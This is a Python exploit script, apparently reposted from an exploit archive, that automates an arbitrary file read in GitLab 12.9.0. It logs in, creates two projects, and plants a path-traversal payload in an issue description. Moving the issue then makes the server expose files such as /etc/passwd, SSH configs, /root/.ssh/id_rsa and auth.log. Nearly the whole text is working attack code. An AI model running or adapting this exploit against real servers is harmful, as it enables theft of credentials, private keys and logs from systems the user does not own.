Share
## https://sploitus.com/exploit?id=PACKETSTORM:157568
# Exploit Title: GitLab 12.9.0 - Arbitrary File Read   
# Google Dork: -  
# Date: 2020-05-03  
# Exploit Author: KouroshRZ  
# Vendor Homepage: https://about.gitlab.com  
# Software Link: https://about.gitlab.com/install  
# Version: tested on gitlab version 12.9.0  
# Tested on: Ubuntu 18.04 (but it's OS independent)  
# CVE : -  
  
#####################################################################################################  
# #   
# Copyright (c) 2020, William Bowling of Biteable, a.k.a vakzz #  
# All rights reserved. #  
# #  
# Redistribution and use in source and compiled forms, with or without modification, are permitted #  
# provided that the following conditions are met: #  
# #  
# * Redistributions of source code must retain the above copyright notice, this list of #   
# conditions and the following disclaimer. #  
# #  
# * Redistributions in compiled form must reproduce the above copyright notice, this list of #  
# conditions and the following disclaimer in the documentation and/or other materials provided #  
# with the distribution. #  
# #  
# * Neither the name of William Bowling nor the names of Biteable, a.k.a vakzz may be used to #  
# endorse or promote products derived from this software without specific prior written permission. #  
# #  
#####################################################################################################   
  
# Exploit Title: automated exploit for Arbitrary file read via the UploadsRewriter when moving and issue in private gitlab server  
# Google Dork: -  
# Date: 05/03/2020  
# Exploit Author: KouroshRZ  
# Vendor Homepage: https://about.gitlab.com  
# Software Link: https://about.gitlab.com/install  
# Version: tested on gitlab version 12.9.0  
# Tested on: Ubuntu 18.04 (but it's OS independent)  
# CVE : -  
  
import requests  
import json  
from time import sleep  
  
# For debugging  
proxies = {  
'http' : '127.0.0.1:8080',  
'https' : '127.0.0.1:8080'  
}  
  
session = requests.Session()  
  
# config  
host = 'http[s]://<gitlab-address>'  
username = '<you-gitlab-username>'  
password = '<your-gitlab-password>'  
lastIssueUrl = ""  
  
def loginToGitLab(username, password):  
  
initLoginUrl = '{}/users/sign_in'.format(host)  
  
initLoginResult = session.get(initLoginUrl).text  
  
temp_index_csrf_param_start = initLoginResult.find("csrf-param")  
temp_index_csrf_param_end = initLoginResult.find("/>", temp_index_csrf_param_start)  
csrf_param = initLoginResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2]  
  
temp_index_csrf_token_start = initLoginResult.find("csrf-token")  
temp_index_csrf_token_end = initLoginResult.find("/>", temp_index_csrf_token_start)  
csrf_token = initLoginResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]  
  
# print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")  
  
submitLoginUrl = '{}/users/auth/ldapmain/callback'.format(host)  
  
submitLoginData = {  
'utf8=' : 'โœ“',  
csrf_param : csrf_token,  
'username' : username,  
'password' : password,  
}  
  
submitLoginResult = session.post(submitLoginUrl, submitLoginData, allow_redirects=False)  
  
if submitLoginResult.status_code == 302 and submitLoginResult.text.find('redirected') > -1:  
print("[+] You'e logged in ...")  
  
  
def createNewProject(projectName):  
  
  
initProjectUrl = '{}/projects/new'.format(host)  
  
initProjectResult = session.get(initProjectUrl).text  
  
temp_index_csrf_param_start = initProjectResult.find("csrf-param")  
temp_index_csrf_param_end = initProjectResult.find("/>", temp_index_csrf_param_start)  
csrf_param = initProjectResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2]  
  
temp_index_csrf_token_start = initProjectResult.find("csrf-token")  
temp_index_csrf_token_end = initProjectResult.find("/>", temp_index_csrf_token_start)  
csrf_token = initProjectResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]  
  
# print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")  
  
tmp_index_1 = initProjectResult.find('{}/{}/\n'.format(host, username))  
tmp_index_2 = initProjectResult.find('value', tmp_index_1)  
tmp_index_3 = initProjectResult.find('type', tmp_index_2)  
namespace = initProjectResult[tmp_index_2 + 7 : tmp_index_3 - 2]  
  
createProjectUrl = '{}/projects'.format(host)  
createProjectData = {  
'utf8=' : 'โœ“',  
csrf_param : csrf_token,  
'project[ci_cd_only]' : 'false',  
'project[name]' : projectName,  
'project[namespace_id]' : namespace,  
'project[path]' : projectName,  
'project[description]' : '',  
'project[visibility_level]' : '0'  
}  
  
createProjectResult = session.post(createProjectUrl, createProjectData, allow_redirects=False)  
  
if createProjectResult.status_code == 302:  
  
print("[+] New Project {} created ...".format(projectName))  
  
def createNewIssue(projectName, issueTitle, file):  
  
global lastIssueUrl  
  
initIssueUrl = '{}/{}/{}/-/issues/new'.format(host, username, projectName)  
  
initIssueResult = session.get(initIssueUrl).text  
  
temp_index_csrf_param_start = initIssueResult.find("csrf-param")  
temp_index_csrf_param_end = initIssueResult.find("/>", temp_index_csrf_param_start)  
csrf_param = initIssueResult[temp_index_csrf_param_start + 21 : temp_index_csrf_param_end - 2]  
  
temp_index_csrf_token_start = initIssueResult.find("csrf-token")  
temp_index_csrf_token_end = initIssueResult.find("/>", temp_index_csrf_token_start)  
csrf_token = initIssueResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]  
  
# print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")  
  
createIssueUrl = '{}/{}/{}/-/issues'.format(host , username, projectName)  
  
createIssueData = {  
'utf8=' : 'โœ“',  
csrf_param : csrf_token,  
'issue[title]' : issueTitle,  
'issue[description]' : '![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../..{})'.format(file),  
'issue[confidential]' : '0',  
'issue[assignee_ids][]' : '0',  
'issue[label_ids][]' : '',  
'issue[due_date]' : '',  
'issue[lock_version]' : '0'  
}  
  
createIssueResult = session.post(createIssueUrl, createIssueData, allow_redirects=False)  
  
if createIssueResult.status_code == 302:  
  
print("[+] New issue for {} created ...".format(projectName))  
tmp_index_1 = createIssueResult.text.find("href")  
tmp_index_2 = createIssueResult.text.find("redirected")  
lastIssueUrl = createIssueResult.text[tmp_index_1 + 6: tmp_index_2 - 2]  
print("[+] url of craeted issue : {}\n".format(lastIssueUrl))  
  
def moveLastIssue(source, destination, file):  
  
# Get destination project ID  
  
getProjectIdUrl = '{}/{}/{}'.format(host, username, destination)  
getProjectIdResult = session.get(getProjectIdUrl).text  
  
tmpIndex = getProjectIdResult.find('/search?project_id')  
projectId = getProjectIdResult[tmpIndex + 19 : tmpIndex + 21]  
#print("Project : {} ID ----> {}\n".format(destination, projectId))  
  
# Get CSRF token for moving issue  
# initIssueMoveUrl = '{}/{}/{}/-/issues/{}'.format(host, username, source, issue)  
initIssueMoveUrl = lastIssueUrl  
initIssueMoveResult = session.get(initIssueMoveUrl).text  
  
temp_index_csrf_token_start = initIssueMoveResult.find("csrf-token")  
temp_index_csrf_token_end = initIssueMoveResult.find("/>", temp_index_csrf_token_start)  
csrf_token = initIssueMoveResult[temp_index_csrf_token_start + 21 : temp_index_csrf_token_end - 2]  
  
# print("Took csrf toke ----> " + csrf_param + " : " + csrf_token + "\n")  
  
# Move issue with associated CSRF token  
# moveIssueUrl = "{}/{}/{}/-/issues/{}/move".format(host, username, source, issue)  
moveIssueUrl = lastIssueUrl + "/move"  
moveIssueData = json.dumps({  
"move_to_project_id" : int(projectId)  
})  
headers = {  
'X-CSRF-Token' : csrf_token,  
'X-Requested-With' : 'XMLHttpRequest',  
'Content-Type' : 'application/json;charset=utf-8'  
}  
moveIssueResult = session.post(moveIssueUrl, headers = headers, data = moveIssueData, allow_redirects = False)  
  
if moveIssueResult.status_code == 500:  
print("[!] Permission denied for {}".format(file))  
else:  
description = json.loads(moveIssueResult.text)["description"]  
tmp_index = description.find("/")  
fileUrl = "{}/{}/{}/{}".format(host, username, destination, description[tmp_index+1:-1])  
  
print("[+] url of file {}: \n".format(f, fileUrl))  
fileContentResult = session.get(fileUrl)  
  
if fileContentResult.status_code == 404:  
print("[-] No such file or directory : {}".format(f))  
else:  
print("[+] Content of file {} read from server ...\n\n".format(f))  
print(fileContentResult.text)  
  
print("\n****************************************************************************************\n")  
  
  
  
if __name__ == "__main__":  
  
loginToGitLab(username, password)  
  
createNewProject("project_01")  
createNewProject("project_02")  
  
# Put the files you want to read from server here  
# The files on server should have **4 or more permission (world readable files)  
files = {  
'/etc/passwd',  
'/etc/ssh/sshd_config',  
'/etc/ssh/ssh_config',  
'/root/.ssh/id_rsa',  
'/var/log/auth.log'  
# ...  
# ...  
# ...  
}   
  
  
for f in files:  
createNewIssue("project_01", "issue01_{}".format(f), f)  
moveLastIssue("project_01", "project_02",f)  
sleep(3)